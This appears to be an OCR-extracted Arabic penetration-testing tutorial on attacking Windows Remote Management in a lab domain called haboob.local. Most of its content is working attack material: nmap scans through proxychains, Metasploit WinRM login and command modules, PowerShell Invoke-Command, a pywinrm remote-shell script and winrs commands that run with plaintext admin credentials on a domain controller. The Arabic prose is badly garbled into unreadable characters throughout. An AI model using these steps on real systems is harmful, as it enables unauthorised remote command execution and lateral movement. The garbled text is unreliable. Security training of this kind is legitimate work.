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WINRS g WINRM (s Gpall 4

remote management application G015 (na (Server) oalall go WinRM Ji
ool pie) Windows Remote Shell J jloisl go (paJl WinRS JI Loy

20y g ajjlal alglaal jlgall (nle Guhy (pall (Client)

asuill cnd WINRM &oad cnle capoill S
lgil go 25liilg 5986 g 5985 (padio paAiud WinRM aoas Loyl iS5 a5

a5l ol Nmap oladiul dub oe widiol ) 1oy a5l nd dlos
<ygluwlivo (n6 do_nmap &old

db_nmap -p5985,5986 Machine-IP -Pn

msf = db_nmap -p5985,5986 10.0.0.60 -Pn
Nmap: Starting Nmap 7.60 ( https://nmap.org ) at 2018-86-03 18:46 EDT
Nmap: Nmap scan report for 10.0.0.60
Nmap: Host is up.
Nmap: PORT STATE SERVICE
Nmap: 5985/tcp open Microsoft HTTPAPI httpd 2.8 (SSDPF/UPnP)
Nmap: 5986/tcp closed wsmans

Nmap: Nmap done: 1 IP address (1 host up)

:~# nmap -sVT -Pn -p5985,5986 10.0.0.60

Starting Nmap 7.60 ( https://nmap.org ) at 2018
|S-chain|-<>-127.0.0.1:1080-<><>-10.
|S-chain| -<=- .0.0. <=<>-10.
seconds,
OV seconds,
S-chain|-<> .9.0. ><>-10.
S-chain|-<=- .0.0. ><>-10.
S-chain| -<> .0.0. ><>-10.
S-chain| -<= .0.0. ><>-10.
S-chain|-=<= N ><>-10.
S-chain|-< .0 ><>-10.6
Nmap scan report
Host is up (7.2s

PORT STATE SERVICE VERSION

5985/tcp open  http Microsoft HTTPAPI httpd 2.0 (SSDP/UPNP)
mans

Service I S: Windows; CPE: cpe:/o:microsoft:windows

Service detection pe med. Please port any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.51 seconds

nmap - 2 o,9.0
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(AUTHENTICATION METHODS) GAaill £gi cnle cajoill 6
Jauago olaaiwl cugluwlite dnio JU5 go Gaail eqi cnle capoill WilSoU

(winrm_auth_methods)

auxiliary/scanner/winrm/winrm_auth_methods
msf auxiliary( ) = options
Module options (auxiliary/scanner/winrm/winrm_auth methods):

Name Current Setting

DOMAIN WORKSTATION

:host:port[,type:host:port][...]
10.0.0.60 e target address range or CIDR identifier
5985 e ta port (TCP)

SSL false Negotiat L/TLS for outgoing connections

THREADS 1 The number of concur threads

URI Jwsman The URI the WinRM service

VHOST HTTP server virtual host

msf auxiliary( ) > run

[+] 10.0.0.60:5985: Negotiate protocol supported
[+] 10.0.0.60:5985: K ros protocol supported
[+] 10.0.0.60:5985: Basic protocol supported

[*] Scanned 1 of 1 s (100% comp

[*] Auxiliary module execution completed

winrm_auth_methods - 3 é 9.0

Taaloo WINRM &oad cuils gJ sl 7
RDP gl WMIC plaaiwl jlgall cnle (il ol Araii guib (e lgliodai Lilaol
agilio adyb (pl

winrm quickconfig
winrm e winrm/config/listener
asuill Jslay Jaiill doaall JUueiwl piy cayrs 8
6jgol cna Jaiill yo Wisoiaaliso §ib 620 WinRM doasd Jlletwl Wilbol
AWl Gphll 2ol pladiwl Guyb g a5l

Metasploit e
PowerShell o
Pywinrm e
WinRS e
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METASPLOIT olaAiwl WINRM JILe Tl

L 6a1aoll Modules JI o ayaell padig épgi dnio (no . Metasploit anio
Modules JI ool cnle capoii ayladl na lges . dlogloall U_DLJ JLoignos
WinRM J anlall

msf > search winrm

Matching Modules

Name Disclosure Date Rank Description

auxiliary/scanner/winrm/winrm_auth_methods normal WinRM Authentication Methed Detection

r r
auxiliary/scanner/winrm/winrm_cmd normal WinRM Command Runner
canner/winrm/w gi normal WinRM Legin Utility
ary/scanner/winrm/winrm_w normal WinRM WOL Query
oit/windows/winrm/winrm_script_exec 2012-11-01 manual WinRM Script Exec Remote Code Execution

winrm_auth_methods - 4 ¢,90

(3 0d) 6)gb ) (na dolaaiwl lod (pallg winrm_auth_methods &lawl (na
WinRM J a5 uill (né aoasiwoll §aaill gIgJT aajoo liehiwlad) b jeq

auxiliary/scanner/winrm/winrm_auth_methods

151 Wa) cpidl jgpoll dals go Gaail lisoy adyb ge (pallg winrm_login ail
4 ol WinRM olaaiwl J aminll lgyal glbs

auxiliary/scanner/winrm/winrm_login

auxiliary( ) = run
10.0.0.60:5985 - Login Successful: Haboob\admin:P@sswlrd-Haboob
Scanned 1 of 1 hosts (100% complete)

Auxiliary module execution completed
auxiliary( ) =

winrm_Jlogin — 5 ¢ 9.0
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10y ge polgUl duhi lglls o lisay (pall winem_cmd oae) (aily

auxiliary/scanner/winrm/winrm_cmd

msf auxiliary(
[+]
Windows IP Configuration

Host Name . . . . . . . . . . . . : DC1

Primary Dns Suffix . . . . . . . : haboob.local
Node Type . . . . . . . . . . . . : Hybrid

IP Routing Enabled. . . . . . . . : No

WINS Proxy Enmabled. . . . . . . . : No

DNS Suffix Search List. . . . . . : haboob.local

Ethernet adapter Ethernet:

Connection-specific DNS Suffix . :
Description . . « +« « « « « « . * Microsoft Hyper-V Network Adapter
Physical Address. . . . . . . . . : L_ __ __ __ __ __
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
IPv4 Address. . . . . . . . . . . : 10.0.0.60(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.0.08.254
DNS Servers . . . . . . . . . . . : 10.0.0.54

10.0.0.60

127.8.0.1
NetBIOS over Tcpip. . . . . . . . : Enabled

Tunnel adapter isatap.{l

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :

Description . . . . . . . . . . . : Microsoft ISATAP Adapter
Physical Address. . . . . . . . . : 00-0P-00-P0-00-00-00-EO
DHCP Enabled. . . . . . . . . . . : No

Autoconfiguration Enabled . . . . : Yes

winrm_cmd — 6 é 9.0
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SWINRM_CMD Jre i nad alsunoll 0ase cigolg Jo 10

auxiliary( ) = options
Module options (auxiliary/scanner/winrm/winrm_cmd) :

EN Current Setting Required Description

CMD ipconfig /all e The windows command to run

DOMAIN HABOOB The domain to use for Windows authentification

PASSWORD P@ss@wrd-Haboob The password to authenticate with

Proxies 5 A proxy chain of format type:host:port[,type:lost:port][...]
RHOSTS 10.0.0.60 = The target address range or CIDR identifier

RPORT 5985 e The target port (TCP)

SAVE OUTPUT false e Store output as loot

SSL false § Negotiate SSL/TLS for outgoing connections
THREADS 1 e The number of concurrent threads
URI ATEED e The URI of the WinRM service
USERNAME admin = The username to authenticate as
VHOST [ HTTP server wvirtual host

msf auxiliary( ) = run

Got unexpected response:
HTTP/1.1 508

Server: Microsoft-HTTPAPI/2.0

Date: Mon, 84 Jun 2018 0©:31:19 GMT

Connection: close

Content-Length: @

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

issue in winrm_cmd - 7 é 9.0

anio Yl cl gy cwllg winrm_emd Jroii (na alauio ¢lgalgiaa
nallg https jauwall Jlnidl gl Kerberos @b g Ganill ocai U Metasploit
Windows Server 2012 (na WinRM J awslpiall alblacll (ne

jlgalu Jnill PowerShell plaaiwlg aulill 5ghall Jlaiill g Jall
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POWERSHELL PSREMOTING ,Dlili'l'.UJU WINRM JUowl T
. PowerShell JI plaAiwl cne WinRM doad olasiwl épgill Gpbll a0l

Gupb e gl aauudl Jslay jlgo ol go 6o PowerShell JI <leaiwl Lilaol

Meterpreter session olaaiwl powershell_shell clcaiwl

:aJll polgll Arais oJ

$user = "Haboob\admin"

$pass = "P@sswoOrd-Haboob"

$pwd = ConvertTo-SecureString $pass -AsPlainText -Force

$com = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $user, $pwd
Connect-WSMan -Credential $com -ComputerName DC1.haboob.local

cd wsman:

Invoke-Command -ComputerName DC1.haboob.local -ScriptBlock {DIR C:\ } -Credential $com

<aag)l a5ub 20 cwliiy L) pas il gellb golo U5 juei clile iy

ul5db<=n_d,@MgmglpM@DHmU@UT;@pMIMI
. bl ol aal any aswil) ipao paAiwoll ouwl

Jl aalb b jlgall pwl aalbl aay osludl pbadlg yuo Il jbudl (nd ail oS
.ondl Gladl ol

er > powershell shell
"Haboob\admin"
swlrd-Haboob"
nvertTo-Secu ring $pass -AsPlainText -Force
> $com = New-Object - me Sy n.Management.Automation.PSCredential -ArgumentlList $user, $pwd
= Connect-WSMan -Credential $com -ComputerName DC1.haboob.local
> cd wsman:
S = Invoke-Command -ComputerName DC1.haboob.local -ScriptBlock {DIR C:\ } -Credential $com

Directory: C:\

Mode astWriteTime Length Name PSComputerName

d---- 10/9/2017 3 : 14 .haboob.local
i 8/5/2017 2:58 inetpub .haboob.local
d---- 8/22/2013 6:5. PerfLogs .haboob.local
d-r-- 18/18/20817 4 Program Files .haboob.local
d---- 10/10/2017 1: Program Files (x86) 1.haboob. local
d-r-- 3/15/2018 12:46 Users 1. haboob. local
- 2/12/2018 11:22 Windows 1. haboob. local
- 8/5/2017  5:3¢ 1202 DC1.haboob.local _haboob -DC1 1. haboob. Local

PowerShell - 8 é,0.0
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PYWINRM olaA1wb WINRM Jleiwl 12

1owl anl Guyb ge WinRM JI aoas Jleiwl J Python Jl aol plaaiwl liiaol
uc ool Ujlgo cnle awiSoll audi aoy ayladl (nad |, pywinem alisoll

NouhwNnR

:AJUWl polgll uaii Gupb

for Debian/Ubuntu/etc:
sudo apt-get install gcc python-dev libkrb5-dev
pip install pywinrm[kerberos]

H

for RHEL/CentOS/etc:
sudo yum install gcc python-devel krb5-devel krb5-workstation python-devel
pip install pywinrm[kerberos]

H A

a511 @o Joil) (Wl ScriptJl padiwl Wilaolg wislb liaun! cuuiill 10y

VCoONOOTUVEAWNER

RPRRRRRR
OV WNRO-

17

ool golll altheoll pyéi juicdl (g

from winrm.protocol import Protocol

p = Protocol(
endpoint="http://10.0.0.60:5985/wsman’,
transport="ntlm',
username=r'Haboob\admin"',
password="'P@sswlrd-Haboob"',
server_cert_validation="ignore")
shell id = p.open_shell()
. command_id = p.run_command(shell _id, 'ipconfig', ['/all'])
. std_out, std_err, status_code = p.get_command_output(shell_id, command_id)
. p.cleanup_command(shell _id, command_id)
. #print(std_out, status_code)
. print "std_out: " + str(std_out)
. print "std_err: " + str(std_err)
. print "status_code: " + str(status_code)
. p.close_shell(shell_id)
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araiig Proxychain JI gupb (e Python ScriptJl Jroii glaolb ail Los
g ng

:~# python WinRM.py
|DNS-request| ::1
|S-chain|-<>-127.0.0.1:1080-<><>-4.2.2.2:53-<><>-0K
|DNS-response|: ::1 does not exist
|S-chain|-<>-127.0.0.1:1080-<><>-10.0.0.60:5985-<><>-0K
|S-chain|-<>-127.0.08.1:1080-<><>-10.0.0.60:5985-<><>-0K
std out:
Windows IP Configuration

Host Name . . . . . . . . . . . . : DC1

Primary Dns Suffix . . . . . . . : DCl.haboob.local
Mode Type . . . . . . . . . . . . : Hybrid

IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No

DNS suffix Search List. . . . . . : DCl.haboob.local

Ethernet adapter Ethernet:

Connection-specific DNS Suffix
Description . . . . . . . . . . . : Microsoft Hyper-V Network Adapter
Physical Address. . . . . . . . . : L. __ __ __ __ __
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
IPv4 Address. . . . . . . . . . . : 10.0.0.60(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.8
Default Gateway . . . . . . . . . : 108.0.8.254
DNS Servers . . . . « « « « . . . : 10.0.0.54

10.0.0.60

127.0.0.1
NetBIOS over Tcpip. . . . . . . . : Enabled

Tunnel adapter isatap.{

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix

Description . . . . . . . . . . . : Microsoft ISATAP Adapter
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No

Autoconfiguration Enabled . . . . : Yes

pywinrm - 9 é,8.0

10| Page

AA3CO3



AA3CO3

WINRS JUéiwl s
1ol Auaiis, Command line [emd] JI g0 épblo WinRM aoas JUaiwl J5ny
10011 yqlb golo J5 jueijuicll A5l ao . il

winrs -r:http://DCl.haboob.local/wsman /username:"HABOOB\admin" /password:"P@ssword-
Haboob" "ipconfig /all"

il oI Jilb 4o épiblo CMD aid glaoll gl

winrs -r:http://DC1.haboob.local/wsman "cmd"

:\Windows\system32>winrs -r:http://DCl.haboob.local/wsman /username:"HABOOB\admin" /password w@rd-Haboob" "ipconfig /all"
Windows IP Configuration
Host Name . . . -+ .« - . . . 1DC1

Primary Dns Suffix . . . . . . . : DCl.haboob.local
Node Type : Hybrid

IP Routing Enabled. . . . . . . . : No

Ll o o o o o o oo 8
List. . . . . . : DCl.haboob.local

Ethernet adapter Ethernet:

Connection-specific DNS Suffix

Description P . ..

Physical Address. . . . . . . . .

DHCP Enabled. . . . . . . . . . . : No

Autoconfiguration Enabled . . . . : Yes

IPv4 Addr e we e e o B MELELE TR TE

Subnet Mask . . . . . . . . . . . : 255.255.255.9@

Default Gateway . . . . . . . . . : 10.0.0.254

DNS Servers . . . . . . . . . . . : 10.0.0.54
10.0.0.60
127.0.0.1

NetBIOS over Tcpip. . . . . . . . : Enabled

: Microsoft Hyper-V Network Adapter

WinRS - 10 é,9.0
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https://www.pcwdld.com/what-is-winrm -

http://techgenix.com/how-windows-server-2008-winrm-winrs -

https://blog.rapid7.com/2012/11/08/abusing-windows-remote- -

management-winrm-with-metasploit

https://qgithub.com/rapid/7/metasploit-framework/issues/8900 -

https://github.com/diyan/pywinrm -
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